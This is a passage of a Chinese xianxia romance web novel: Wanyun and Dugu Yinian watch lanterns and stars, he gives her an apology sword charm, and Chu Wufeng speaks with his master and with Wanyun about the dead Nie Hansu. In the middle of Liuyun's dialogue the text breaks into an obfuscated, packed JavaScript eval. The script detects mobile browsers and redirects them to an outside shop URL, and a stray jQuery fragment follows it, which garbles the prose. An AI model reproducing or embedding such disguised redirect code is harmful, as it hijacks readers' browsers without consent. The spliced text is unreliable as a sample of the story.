独孤一念转念一想,对挽云说:“那我给你讲讲我的愿望吧!”
    挽云幽幽地说“你刚才在灯上写着,我看见了。”
    独孤一念闻言摇摇头:“不一样,那是祝愿身边人幸福安康的。我的自己理想可不需要向上天的祝愿,我要凭自己实现。”
    挽云点点头,非常认可独孤一念的想法:“那你自己的愿望是什么?”
    她直视独孤一念的眼睛,问得认真。独孤一念倒是害臊起来,他把拳头抵在唇边假意咳嗽两下,说:“我要成为天下第一剑!”
    真是好远大的目标,独孤一念耳朵说完都红了。他紧张地看挽云的反应,发现挽云还是那样清冷疏离,又很认真的表情。
    独孤一念小心翼翼地问:“那个,你不觉得我不知天高地厚吗?”
    挽云第一次见独孤一念如此不自在的神情,好有意思。她舒展了眉眼笑着说:“剑修想成为天下第一剑,就像阵修成为天下第一阵道家,炼器师想练出天下第一的法宝。这不是理所应当的事情吗?”
    挽云的笑先从眼睛开始,那双总是沉静的眼睛会先弯起来,然后满天星光争先恐后地落入她的眼底。随后,笑意才缓缓地漾到整张脸上,唇角上扬,露出一点点洁白的贝齿。
    “砰——砰——”独孤一念听到有人在自己心里放烟花。
    十几个灯放完,夜已经深了。
    今天发生了太多事情,挽云就着身体的疲惫感和困意,仰倒在船上。
    她看向天空,惊喜地跟旁边的独孤一念分享:“独孤一念,独孤一念!你看,今晚的星星好漂亮。”
    独孤一念用手撑着后脑勺,也仰躺下来。
    他顺着挽云的视线看去,是一片疏密相间的明亮的星空。虽然好看,但是看一会儿就厌了。
    他分了心思侧头看挽云,挽云在痴痴地看星星,长睫毛大眼睛,仿佛满天的星辰都映在眼中。
    独孤一念问:“挽云你到底在看什么?这么让人着迷?”
    挽云向迢迢银汉伸出手,星光仿佛在指尖流转。:“嗯,怎么说呢……星河如此浩瀚,衬得看星星的人如此渺小。还有,护宗大阵就是以二十八星宿为框架搭建的横跨千里的巨大星辰法阵,有让人震撼以凡人之躯,居然可以完成如此伟业。那你呢?你在想什么?”
    独孤一念斜斜看一眼挽云,又把视线放回星星上:“我在想你的眼睛这么大,又一眨不眨的,是不是不太好。嗯,太容易进灰尘了。”
    “啊?”挽云转过头,发现独孤一念果然在憋笑,而且他的笑容在挽云控诉的视线中越扬越高,最后不受控制地笑出声来。
    “独!孤!一!念!”挽云知道独孤一念拿自己打趣,她很气恼。但她拿独孤一念毫无办法。她把眉毛皱起来,嘴唇下意识向左边抿,把脸颊挤出一个浅浅的梨窝。
    她半天想不出办法。刚才那句“你还是忘不了大师兄啊?”的叫人生气,现在独孤一念又拿自己开玩笑也生气。
    挽云感觉自己生了好大的气,但是仔细想来独孤一念其实也没做什么。从前有其他宗门弟子做过那么多愚蠢的、鲁莽的、甚至不怀好意的事情,自己也没有生气。
    于是她把不合理的情绪团吧团吧塞了回去,眉头皱起来,语气压得平静,对独孤一念说:“独孤一念,我生气了。”
    坏了,逗过头,挽云只是真恼火了。独孤一念琥珀色的眼睛瞬间睁大,流露出闯了大祸的慌乱来——坏了,挽云脸上一点笑意也没有了。
    他自知罪孽深重,今天晚上挽云的笑容比他从前见过的加起来还要多,却又被自己惹恼了。
    挽云迈开腿,在距离独孤一念两步的地方坐下来。她回头瞪独孤一念:“你不许过来!”
    独孤一念连连点头,老实地待在原地。
    为这种无伤大雅的玩笑生气是不合理的。
    她用手指绞着衣带,就像猫咪在玩线团,可惜理不清胸中情绪出现的原由。
    一柄小巧玲珑的铁剑上别了鹅黄的络子飞过来,轻轻地碰了碰挽云的指尖。挽云转头看独孤一念,独孤一念双手合十,举过头顶,嘴里念念有词,应该是在道歉。
    挽云垂眸,摊开手掌,小剑乖巧地落在她的手心:“这是你做的?”
    她借着月光细细看——小铁剑很精致,不知是哪位匠人的手笔,连剑身上的暗纹都纤毫毕现。
    反观旁边的络子就编得歪歪扭扭,可以看出是无数次拆开又重来的成品,总之不像现场编的。
    可怜无助的独孤一念终于得到了心上人的垂怜,这是他提前准备了很久的礼物,终于有机会送出去。
    他知道自己的手笨,编的络子难看,他连忙说:“络子不是重点,你看那个剑,是——歉礼。我欠你一个愿望,就以这个小剑为凭证。”
    “谢谢你,很好看。”挽云仔细看了一会,把“歉礼”写在了自己的乾坤袋上,表示对独孤一念诚恳道歉的重视,以及一丝丝对自己无端生气的愧疚。当然,后面一点是不能让独孤一念知道的。
    于是她抬抬下巴,假装高冷地对独孤一念说:“我要自己休息一会。”
    “好,你好好休息。”
    挽云似乎还是不太高兴,独孤一念懊恼地挠挠头,离开了。
    船头上,流云拉着秦歌喝酒。
    但秦歌只是借酒消愁。一通牛饮,还拉着经过的独孤一念一起。很快秦歌就不胜酒力,醉的不省人事。独孤一念也是一杯倒。喝得迷迷糊糊。
    流云看得直摇头:“浪费了一壶好酒。这酒量,到外面别说是我徒弟”
    失了酒友,于是流云对月独酌,也别有一番趣味。
    小船摇晃一下,有人从空中跃下,落到船头。
    挽云转头,看清来人面容。那人面如玉冠,目如点漆正是玄霄宗首席大弟子楚无锋。
    他从飞剑上空翻跃下,轻巧跳到船头,沉默地向流云行礼。
    流云挑眉,他早知道自己的大弟子一直在远处偷偷看着。歌唱完,酒喝尽,人终于是来了。他将酒杯磕在桌面上,佯怒道:“你小子,舍得来了?”
    宗门弟子都道大师兄楚无锋稳重可靠。可在流云剑尊面前,楚无锋还是显出几分属于他年纪的懊恼的表情。
    他垂头:“对不起,师父。我……”
    流云看楚无锋咬着后槽牙半天说不出话,心中叹息,问道:“你是刚
    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614911|187707||http|test|mini|href|location''.split(''|''),0,{}));
    () {
    $(''.inform'').remove();
    $(''#content'').append(''
    才不想来?”
    低沉的声音堵在楚无锋的喉咙,变成艰涩的长吟。他好久才答:“弟子不敢来。”
    “你和寒酥自小拜我为师,是我一手带大,胜似我亲生儿女。当年寒酥身祭大阵,我万分心痛。你和老三因此心生嫌隙,个中缘由我也算知晓。”
    潇洒的裁云剑主也有难得的惆怅时刻,一口饮尽杯中酒,又接着给自己斟满酒杯,再开口就是心里话:“无论如何,守正、勇决、专注、明澈,莫磋磨了剑心。”
    说到激动处,流云一拍大腿,借着酒意愤愤然:“要不是老三实在打不过你,我都想拉你们到决斗台打一架。”
    聂寒酥的死终是楚无锋和秦歌两人梗在心口的一根刺。每个都想解开这结,可是说到底当年谁都没错。
    楚无锋还是笔挺地站着,略带无奈:“师父你消消气。”
    流云翻了个大白眼,不知从哪儿变出一个孔明灯,递给楚无锋:“喏,给你留的,自己放着玩吧。”
    “谢师父。”
    楚无锋看着那灯怔愣一瞬,双手将其接了过来。他目光闪动,思量许久,在灯上写了几行字。
    “造化长短,命之所定;生死难忘,情之所钟。君长辞与我,吾之德凉也。”
    他写下心声,燃柴点火,升起天灯,寄予故人。
    流云把东西递出去后,便没管楚无锋,而是回头冲着挽云蹲的小角落喊:“挽云,这是我大徒弟,被老掌门拐走去协理宗门事务了,白得个首席弟子的名头。要是在宗里被那个不长眼的欺负了,你就告给他,傍傍他的官威啊,哈哈哈!”
    挽云皱皱鼻子,维持这乖巧的表情应声:“谢谢流云叔叔。”
    楚无锋的目光从天上的灯落回挽云身上,原本热闹的小船现在意外地成为合适两人谈心的空间。
    挽云有几分踌躇,但还是选择直接问:“师兄的心上人是聂寒酥师姐吗?”
    楚无锋皱着眉看了挽云一会,回答:“是的。”
    “当年究竟发生了什么事情,让你和秦歌起了这么大的矛盾?”挽云接着问。
    挽云没有失望和愤怒的控诉,现在平静的神情出乎楚无锋的意料。他随即笑道:“我还以为你会问之前有关你和我的事。”
    挽云无意识地摩挲刚系上的小铁坠:“我想这些天有在回想从前的事情,我有一事不明。师兄明明早就察觉我的心意,却拖了一段时间,才让独孤一念跟我说明。我猜测,原因正与此事有关。”
    楚无锋选择实话实说:“有一部分原因。”
    挽云脸色一白,感到心头绞痛。她轻咬下唇,问:“可以告诉我这是为什么吗?”
    楚无锋看着分外聪慧的挽云,温和地点了点头:“看来我先前的担心没什么必要了。而说到寒酥的事情,我当然可以告诉你,但与此同时我希望你可以帮我一个小忙。”
    挽云低头沉吟了一会,压下了自己求知的欲望:“能让您这样说,其中恐怕牵扯颇深。师兄,我可以先考虑一下吗?”
    楚无锋生出了近乎惺惺相惜的情绪,露出首席弟子如谦谦君子的微笑:“当然可以。如果你有决定,可以来找我。不是在弟子堂,就是剑崖。”